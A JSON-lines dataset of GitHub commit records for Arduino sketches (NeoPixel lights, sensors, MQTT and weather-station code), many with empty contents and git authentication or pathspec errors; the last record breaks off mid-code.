https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c4c7cca5afc67f54fc2459e461b5480aab300fab","subject":"Arduino\uff1aloop()\u306b\u5f85\u3061\u6642\u9593\u8ffd\u52a0","message":"Arduino\uff1aloop()\u306b\u5f85\u3061\u6642\u9593\u8ffd\u52a0\n","repos":"ics-creative\/160125_arduino_ESP-WROOM-02_v2,ics-creative\/160125_arduino_ESP-WROOM-02_v2","old_file":"arduino\/light-sencor\/light-sencor.ino","new_file":"arduino\/light-sencor\/light-sencor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ics-creative\/160125_arduino_ESP-WROOM-02_v2.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9c87b880134064b72c00ce581750ce73d06e7378","subject":"Add Arduino Code","message":"Add Arduino Code\n","repos":"the-raspberry-pi-guy\/skateboard,the-raspberry-pi-guy\/skateboard","old_file":"arduino_neopixel\/arduino_neopixel.ino","new_file":"arduino_neopixel\/arduino_neopixel.ino","new_contents":"\/\/ Skateboard Neopixel Program\n\/\/ Controls 2*26 sets of neopixels on the bottom of my DIY electric skateboard\n\/\/ Used an Arduino Nano to control the lights to save logic level conversion on the Pi Zero and worrying about task management\n\/\/ Wiimote 'A' button triggers Pi that then triggers Arduino inputs that then turn on the lights\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n#define BUTTON 7\n#define INTERRUPT_PIN 2\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(26, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n strip.begin();\n strip.show();\n pinMode(BUTTON, INPUT);\n attachInterrupt(digitalPinToInterrupt(INTERRUPT_PIN), ISRturn_off, RISING);\n }\n\nvoid loop() {\n int value = 0;\n int but_val = 0;\n blank();\n while (true){\n but_val = digitalRead(BUTTON);\n if (but_val == 1){ \n sequence();\n }\n if (but_val == 0){\n blank();\n }\n }\n }\n\nvoid ISRturn_off(){\n blank();\n }\n\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n }\n\nvoid sequence(){\n colorWipe(strip.Color(255, 0, 0), 25);\n colorWipe(strip.Color(0, 255, 0), 25); \n colorWipe(strip.Color(0, 0, 255), 25);\n }\n\nvoid blank(){\n colorWipe(strip.Color(0, 0, 0), 25);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_neopixel\/arduino_neopixel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b379be395e50d45ce56b640d20c8840db6f6392","subject":"Svetelny theremin PhotpBuzzer","message":"Svetelny theremin PhotpBuzzer\n","repos":"bechynsky\/ArduinoWorkshop,bechynsky\/ArduinoWorkshop","old_file":"PhotoBuzzer\/PhotoBuzzer.ino","new_file":"PhotoBuzzer\/PhotoBuzzer.ino","new_contents":"#define BUZZER 6\n\nint pause = 1;\n\nvoid setup() {\n pinMode(BUZZER, OUTPUT);\n}\n\nvoid loop() {\n pause = analogRead(A1);\n digitalWrite(BUZZER, HIGH); \/\/ P\u0159it\u00e1hneme membr\u00e1nu reproduktoru\n delayMicroseconds(pause); \/\/ po\u010dk\u00e1me\n digitalWrite(BUZZER, LOW); \/\/ pust\u00edme membr\u00e1nu\n delayMicroseconds(pause); \/\/ zase po\u010dk\u00e1me\n \/\/a jedeme dokola...\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PhotoBuzzer\/PhotoBuzzer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4f382a67c974ea6741f2de487c98551fae9213da","subject":"MPU6050 Raw data reading","message":"MPU6050 Raw data reading\n","repos":"KRVPerera\/CalliWand_v0.1,KRVPerera\/CalliWand_v0.1","old_file":"MPU6050_raw\/MPU6050_raw.ino","new_file":"MPU6050_raw\/MPU6050_raw.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class\n\/\/ 10\/7\/2011 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added multiple output formats\n\/\/ - added seamless Fastwire support\n\/\/ 2011-10-07 - initial release\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2011 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 accelgyro;\n\/\/MPU6050 accelgyro(0x69); \/\/ <-- use for AD0 high\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\n\n\/\/ uncomment \"OUTPUT_READABLE_ACCELGYRO\" if you want to see a tab-separated\n\/\/ list of the accel X\/Y\/Z and then gyro X\/Y\/Z values in decimal. Easy to read,\n\/\/ not so easy to parse, and slow(er) over UART.\n#define OUTPUT_READABLE_ACCELGYRO\n\n\/\/ uncomment \"OUTPUT_BINARY_ACCELGYRO\" to send all 6 axes of data as 16-bit\n\/\/ binary, one right after the other. This is very fast (as fast as possible\n\/\/ without compression or data loss), and easy to parse, but impossible to read\n\/\/ for a human.\n\/\/#define OUTPUT_BINARY_ACCELGYRO\n\n\n#define LED_PIN 13\nbool blinkState = false;\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (38400 chosen because it works as well at 8MHz as it does at 16MHz, but\n \/\/ it's really up to you depending on your project)\n Serial.begin(38400);\n\n \/\/ initialize device\n \/\/ Serial.println(\"Initializing I2C devices...\");\n \/\/accelgyro.initialize();\n\n accelgyro.setClockSource(MPU6050_CLOCK_PLL_XGYRO);\n\n \/\/ set the gyroscope for full-scale range \n setFullScaleGyroRange(MPU6050_GYRO_FS_250);\n\n \/\/ set scale range for accelerometer \n setFullScaleAccelRange(MPU6050_ACCEL_FS_2);\n\n \/\/ Digital Low Pass filter setting for bandwidth 5 delay 19.0 ms\n \/\/ check register details datasheet of MPU6050 page 13\n accelgyro.setDLPFMode(MPU6050_DLPF_BW_5);\n\n \/\/ set scale range for gyroscope\n accelgyro.setSleepEnabled(false);\n\n delay(2000);\n \n \/\/ Digital Low Pass filter\n accelgyro.setDLPFMode(MPU6050_DLPF_BW_5);\n\n \/\/ verify connection\n \/\/Serial.println(\"Testing device connections...\");\n \/\/Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n \/\/ use the code below to change accel\/gyro offset values\n accelgyro.setXGyroOffset(70);\n accelgyro.setYGyroOffset(-36);\n accelgyro.setZGyroOffset(5);\n accelgyro.setXAccelOffset(-6250);\n accelgyro.setYAccelOffset(-2647);\n accelgyro.setZAccelOffset(15);\n \n\/\/ \n\/\/ accelgyro.setXGyroOffset(220);\n\/\/ accelgyro.setYGyroOffset(76);\n\/\/ accelgyro.setZGyroOffset(-85);\n\/\/ accelgyro.setXAccelOffset(1432);\n\/\/ accelgyro.setYAccelOffset(-2647);\n\/\/ accelgyro.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \n \n \/*\n Serial.println(\"Updating internal sensor offsets...\");\n \/\/ -76\t-2359\t1688\t0\t0\t0\n Serial.print(accelgyro.getXAccelOffset()); Serial.print(\"\\t\"); \/\/ -76\n Serial.print(accelgyro.getYAccelOffset()); Serial.print(\"\\t\"); \/\/ -2359\n Serial.print(accelgyro.getZAccelOffset()); Serial.print(\"\\t\"); \/\/ 1688\n Serial.print(accelgyro.getXGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getYGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getZGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(\"\\n\");\n accelgyro.setXGyroOffset(220);\n accelgyro.setYGyroOffset(76);\n accelgyro.setZGyroOffset(-85);\n Serial.print(accelgyro.getXAccelOffset()); Serial.print(\"\\t\"); \/\/ -76\n Serial.print(accelgyro.getYAccelOffset()); Serial.print(\"\\t\"); \/\/ -2359\n Serial.print(accelgyro.getZAccelOffset()); Serial.print(\"\\t\"); \/\/ 1688\n Serial.print(accelgyro.getXGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getYGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getZGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(\"\\n\");\n *\/\n\n \/\/ configure Arduino LED for\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, HIGH);\n \/\/Serial.begin(38400);\n Serial.print('a');\n char a = 'b';\n while (a != 'a'){\n a = Serial.read();\n }\n}\n\nint mode = 1;\n\n\nvoid loop() {\n \/\/ read raw accel\/gyro measurements from device\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\n \/\/ these methods (and a few others) are also available\n \/\/accelgyro.getAcceleration(&ax, &ay, &az);\n \/\/accelgyro.getRotation(&gx, &gy, &gz);\n\n #ifdef OUTPUT_READABLE_ACCELGYRO\n if (Serial.available() > 0 ){\n mode = Serial.read();\n if( mode == 'R'){\n Serial.println(ax); \n Serial.println(ay); \n Serial.println(az);\n }\n }\n delay(20);\n \n \/\/ display tab-separated accel\/gyro x\/y\/z values\n\/\/ Serial.print(\"a\/g:\\t\");\n\/\/ Serial.println(ax); \/\/Serial.print(\"\\t\");\n \/\/Serial.print(ay); Serial.print(\"\\t\");\n \/\/Serial.print(az); Serial.print(\"\\t\");\n \/\/Serial.print(gx); Serial.print(\"\\t\");\n \/\/Serial.print(gy); Serial.print(\"\\t\");\n \/\/Serial.println(gz);\n #endif\n\n #ifdef OUTPUT_BINARY_ACCELGYRO\n Serial.print(ax); Serial.print(\"\\n\");\n Serial.write((uint8_t)(ax >> 8)); Serial.write((uint8_t)(ax & 0xFF));\n Serial.write((uint8_t)(ay >> 8)); Serial.write((uint8_t)(ay & 0xFF));\n Serial.write((uint8_t)(az >> 8)); Serial.write((uint8_t)(az & 0xFF));\n Serial.write((uint8_t)(gx >> 8)); Serial.write((uint8_t)(gx & 0xFF));\n Serial.write((uint8_t)(gy >> 8)); Serial.write((uint8_t)(gy & 0xFF));\n Serial.write((uint8_t)(gz >> 8)); Serial.write((uint8_t)(gz & 0xFF));\n #endif\n\n \/\/ blink LED to indicate activity\n \/\/ blinkState = !blinkState;\n \/\/ digitalWrite(LED_PIN, blinkState);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU6050_raw\/MPU6050_raw.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9401851630f3c0dfc6f51906d8112d205529f973","subject":"Initial Commit of File","message":"Initial Commit of File\n\nRover pause switch code.\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"electrical\/Pause Switch\/pause_switch.ino","new_file":"electrical\/Pause Switch\/pause_switch.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'electrical\/Pause' did not match any file(s) known to git\nerror: pathspec 'Switch\/pause_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38441cd65e8adea5934e9f19f5c5618631de8763","subject":"Add NeoPixel","message":"Add NeoPixel\n","repos":"JimmySoftware\/ESPert,JimmySoftware\/ESPert,JimmySoftware\/ESPert","old_file":"examples\/_3001_NeoPixel\/_3001_NeoPixel.ino","new_file":"examples\/_3001_NeoPixel\/_3001_NeoPixel.ino","new_contents":"#include \"ESPert.h\"\n\nESPert espert;\n\nvoid setup()\n{\n \tespert.init();\n \tespert.oled.init();\n \tespert.neopixel.init();\n}\n\nvoid loop()\n{\n\tespert.neopixel.rainbow();\n \tdelay(1000);\n\tespert.neopixel.setColor(ColorRed);\n\tdelay(1000);\n\tespert.neopixel.setColor(ColorGreen);\n\tdelay(1000);\n\tespert.neopixel.setColor(ColorBlue);\n\tdelay(1000);\n\n\t\/*\n\t\t-- Predefine Color --\n\t\tColorRed 0xFF0000\n\t\tColorGreen 0x008000\n\t\tColorBlue 0x0000FF\n\t\tColorCyan 0x00FFFF\n\t\tColorPurple 0x800080\n\t\tColorGray 0x808080\n\t\tColorBrown 0xA52A2A\n\t\tColorSilver 0xC0C0C0\n\t\tColorViolet 0xEE82EE\n\t\tColorPink 0xFFC0CB\n\t\tColorGold 0xFFD700\n\t\tColorYellow 0xFFFF00\n\t\tColorWhite 0xFFFFFF\n\t*\/\n\tespert.neopixel.setPixelColor(0,ColorRed);\n\tespert.neopixel.setPixelColor(1,ColorGreen);\n\tespert.neopixel.setPixelColor(2,ColorBlue);\n\tespert.neopixel.setPixelColor(3,ColorCyan);\n\tespert.neopixel.setPixelColor(4,ColorPurple);\n\tespert.neopixel.setPixelColor(5,ColorGray);\n\tespert.neopixel.setPixelColor(6,ColorBrown);\n\tespert.neopixel.setPixelColor(7,ColorGold);\n\tespert.neopixel.show();\n\tdelay(1000);\n\n\tespert.neopixel.off();\n\tdelay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/_3001_NeoPixel\/_3001_NeoPixel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8bb64396b35824efdc1c2fdc8aaf0828869f636","subject":"Better display style","message":"Better display style\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/HSWave\/HSWave.ino","new_file":"examples\/PICadillo-35T\/HSWave\/HSWave.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"4966e466d40eefa8566b6dd0798a2fd52a99a536","subject":"add remote","message":"add remote\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"450da85c2ed24fcb0d3ee6e40220db4ddd5ad229","subject":"add sample1","message":"add sample1","repos":"yamaha-webmusic\/ymf825board,yamaha-webmusic\/ymf825board","old_file":"sample1\/ymf825board_sample1.ino","new_file":"sample1\/ymf825board_sample1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/yamaha-webmusic\/ymf825board.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"21ef2ce66ce7fd46e71f15b9e1263d83cba70b16","subject":"Create explorer_robot_v2.ino","message":"Create explorer_robot_v2.ino","repos":"firatozz\/Explorer-Robot","old_file":"ArduinoCode\/explorer_robot_v2.ino","new_file":"ArduinoCode\/explorer_robot_v2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/firatozz\/Explorer-Robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a20edbd740b096cccbe01f805670fc5625afb84d","subject":"random pronouns aww yeah","message":"random pronouns aww yeah\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"simple_random\/simple_random.ino","new_file":"simple_random\/simple_random.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"d0c01db419f3434a21be0e073a2dca4a46c1478a","subject":"added simple example for basic use","message":"added simple example for basic use\n","repos":"rkhamilton\/GPSTimeZoneLookup","old_file":"examples\/simple_example.ino","new_file":"examples\/simple_example.ino","new_contents":"\/*\n * GPSTZTest.ino\n *\n * Created: 8\/16\/2014 1:23:20 PM\n * Author: Ryan\n *\/ \n#include <GPSTimeZoneLookup.h>\n\nGPSTimeZoneLookup myGPSTZ(33.9612895,-111.3380113);\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.print(\"lat\/long: \");\n Serial.print(myGPSTZ.latitude);\n Serial.print(myGPSTZ.longitude);\n Serial.print(\" GMT Offset: \");\n Serial.print(myGPSTZ.GMTOffset);\n Serial.print(\" Implements DST: \");\n Serial.println(myGPSTZ.implementsDST);\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/simple_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ed890bfd0d8afe6272953ecfdbed31026c53acf","subject":"Correct text in test-128x64ZW","message":"Correct text in test-128x64ZW\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"test-128x64ZW\/test-128x64ZW.ino","new_file":"test-128x64ZW\/test-128x64ZW.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eddd810dafe32ae426569f97121dbeec8e3314e4","subject":"Add MQTT example","message":"Add MQTT example\n","repos":"cesanta\/mjson","old_file":"ArduinoMqttExample\/ArduinoMqttExample.ino","new_file":"ArduinoMqttExample\/ArduinoMqttExample.ino","new_contents":"#include \"mjson.h\" \/\/ Sketch -> Add File -> Add mjson.h\n\n\/\/ Gets called by the RPC engine to send a reply frame\nstatic int wfn(const char *frame, int frame_len, void *privdata) {\n return Serial.write(frame, frame_len);\n}\n\n\/\/ Catch MQTT messages on topic \"ccm\/led\", and switch LED on\/off\nstatic void mqtt_cb(struct jsonrpc_request *r) {\n char topic[100] = \"\", message[100] = \"\"; \n mjson_get_string(r->params, r->params_len, \"$.topic\", topic, sizeof(topic));\n mjson_get_string(r->params, r->params_len, \"$.message\", message, sizeof(message));\n if (strcmp(topic, \"ccm\/led\") == 0) pinMode(LED_BUILTIN, atoi(message));\n}\n\nvoid setup() {\n Serial.begin(115200); \/\/ Init serial comms\n\tpinMode(LED_BUILTIN, OUTPUT); \/\/ Configure LED pin\n jsonrpc_init(NULL, NULL); \/\/ Init JSON-RPC engine\n jsonrpc_export(\"MQTT.Message\", mqtt_cb, NULL); \/\/ Set MQTT message callback\n jsonrpc_call(wfn, NULL,\n \"{\\\"method\\\":\\\"MQTT.Sub\\\",\\\"params\\\":{\\\"topic\\\":\\\"ccm\/#\\\"}}\");\n}\n\nvoid loop() {\n while (Serial.available() > 0) jsonrpc_process_byte(Serial.read(), wfn, NULL);\n\n \/\/ Publish to MQTT periodically\n static unsigned long old, now;\n now = millis();\n if (old > now || old + 5000 < now) {\n old = now;\n jsonrpc_call(wfn, NULL, \"{\\\"method\\\":\\\"MQTT.Pub\\\",\\\"params\\\":\"\n \"{\\\"topic\\\":\\\"ccm\/data\\\",\\\"message\\\":%lu}}\", now);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoMqttExample\/ArduinoMqttExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0678a7f1accee3803056a3eac5b4956846d1a913","subject":"Create test02.ino","message":"Create test02.ino","repos":"TEAMarg\/ATMlib","old_file":"testing\/test02.ino","new_file":"testing\/test02.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ATMlib.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"1b595c3834030df79be865e2fa7959c660898f82","subject":"use analog","message":"use analog\n","repos":"larsdouweschuitema\/minor-webofthings,larsdouweschuitema\/minor-webofthings,larsdouweschuitema\/minor-webofthings,larsdouweschuitema\/minor-webofthings","old_file":"nodemcu\/door\/door.ino","new_file":"nodemcu\/door\/door.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/larsdouweschuitema\/minor-webofthings.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a563ed905d45643846896f4e1bb5e8f95cff7294","subject":"Added a protoshield version with 6x12 display","message":"Added a protoshield version with 6x12 display","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"protoshield\/mwsv3\/mwsv3.ino","new_file":"protoshield\/mwsv3\/mwsv3.ino","new_contents":"\/\/SD card\n\/\/http:\/\/blog.oscarliang.net\/sd-card-arduino\/\n#include <SD.h>\nFile sd;\n\n\/\/Gyro\/compass SDA=A4 SCL=A5\n\/\/Removed as BMP180 sensor already uses the pins\n#include <Wire.h>\n\/\/#include <HMC5883L.h>\n\/\/HMC5883L compass;\n\n\/\/Light garage lamp Sensor on A1\n\/\/int lightPin1 = 1;\n\n\/\/ DS18B20 Temperature (+ 4.7kOhm resistor on VCC 5V)\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\/\/ Data wire is plugged into pin 9 on the Arduino\n\/\/ pin 10 is needed for the SD card SS\n#define ONE_WIRE_BUS 9\n\/\/ Setup a oneWire instance to communicate with any OneWire devices \n\/\/ (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\/\/ Pass our oneWire reference to Dallas Temperature.\nDallasTemperature sensors(&oneWire);\n\n\/\/Light Sensor on A0 (+1KOhm resistor on GND)\nint lightPin = 0;\n\n\/\/BMP180 SDA=A4, SDC=A5\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085_U.h>\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);\n\n\/\/DHT11 data pin=Digital 6\n#include <dht11.h>\ndht11 DHT11;\n#define DHT11PIN 6\n\n#include <LiquidCrystal.h>\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\nvoid setup()\n{\n Serial.begin(115200);\n \/\/Gyro\/Compass\n Wire.begin();\n \/\/compass = HMC5883L();\n \/\/compass.SetScale(1.3);\n \/\/compass.SetMeasurementMode(Measurement_Continuous);\n \/\/Start Dallas D18B20\n sensors.begin();\n \/\/Start the BMP180 Pressure sensor\n bmp.begin();\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n \/\/ Print a message to the LCD.\n lcd.print(\"IWMI MWS v3\");\n lcd.setCursor(0, 1);\n lcd.print(\"Starting Sensors\");\n delay(2000);\n}\n\nvoid loop()\n{\n sd = SD.open(\"test.txt\", FILE_WRITE);\n \/\/Gyro\/Compass\n \/\/MagnetometerRaw raw = compass.ReadRawAxis();\n \/\/MagnetometerScaled scaled = compass.ReadScaledAxis();\n \/\/float xHeading = atan2(scaled.YAxis, scaled.XAxis);\n \/\/float yHeading = atan2(scaled.ZAxis, scaled.XAxis);\n \/\/float zHeading = atan2(scaled.ZAxis, scaled.YAxis);\n \/\/if(xHeading < 0) xHeading += 2*PI;\n \/\/if(xHeading > 2*PI) xHeading -= 2*PI;\n \/\/if(yHeading < 0) yHeading += 2*PI; \n \/\/if(yHeading > 2*PI) yHeading -= 2*PI;\n \/\/if(zHeading < 0) zHeading += 2*PI;\n \/\/if(zHeading > 2*PI) zHeading -= 2*PI;\n \/\/float xDegrees = xHeading * 180\/M_PI;\n \/\/float yDegrees = yHeading * 180\/M_PI;\n \/\/float zDegrees = zHeading * 180\/M_PI;\n \/\/Serial.print(xDegrees);\n \/\/Serial.print(\",\");\n \/\/Serial.print(yDegrees);\n \/\/Serial.print(\",\");\n \/\/Serial.print(zDegrees);\n \/\/Serial.println(\";\");\n \/\/delay(100); \n \/\/lcd.clear();\n \/\/lcd.setCursor(0, 0);\n \/\/lcd.print(\"X Y Z Heading\");\n \/\/lcd.setCursor(0, 1);\n \/\/lcd.print(xDegrees);\n \/\/lcd.print(\",\");\n \/\/lcd.print(yDegrees);\n \/\/lcd.print(\",\");\n \/\/lcd.print(zDegrees);\n \/\/lcd.print(\" Deg\");\n \/\/delay(2000);\n\n \/\/ Read Light Garage Lamp Sensor\n \/\/lcd.clear();\n \/\/lcd.setCursor(0, 0);\n \/\/lcd.print(\"Light Sensor 1 \");\n \/\/lcd.setCursor(0, 1);\n \/\/lcd.print((float) analogRead(lightPin1));\n \/\/lcd.print(\" -\");\n \/\/delay(2000);\n\n \/\/Get temperature from Dallas D18B20\n sensors.requestTemperatures();\n float dallasT = sensors.getTempCByIndex(0);\/\/ Why \"byIndex\"? \n \/\/ You can have more than one IC on the same bus. \n \/\/ 0 refers to the first IC on the wire \n Serial.print(dallasT); \n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temperature D12B80 \");\n lcd.setCursor(0, 1);\n lcd.print(dallasT);\n lcd.print(\" C\");\n sd.print(dallasT);\n sd.print(\",\");\n delay(2000);\n\n \/\/ Read Light Sensor\n \/\/1023\/2=511 = night = 1KOhms (equal to paired resistor)\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Light Sensor \");\n lcd.setCursor(0, 1);\n lcd.print((float) analogRead(lightPin)\/511.0*1000);\n lcd.print(\" Ohms\");\n delay(2000);\n\n \/* Get a new sensor event *\/\n sensors_event_t event;\n bmp.getEvent(&event);\n \/* Display the results (barometric pressure is measure in hPa) *\/\n if (event.pressure)\n {\n \/* Display atmospheric pressure in hPa *\/\n Serial.print(\"Pressure: \"); \n Serial.print(event.pressure); \n Serial.println(\" hPa\");\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Pressure \");\n lcd.setCursor(0, 1);\n lcd.print(event.pressure);\n lcd.print(\" hPa\");\n sd.print(event.pressure);\n sd.print(\",\");\n delay(2000);\n }\n else\n {\n Serial.println(\"BMP180 Sensor error\");\n }\n\n int chk = DHT11.read(DHT11PIN);\n\n Serial.print(\"Read sensor: \");\n switch (chk)\n {\n case DHTLIB_OK: \n Serial.println(\"DHT11 OK\"); \n break;\n case 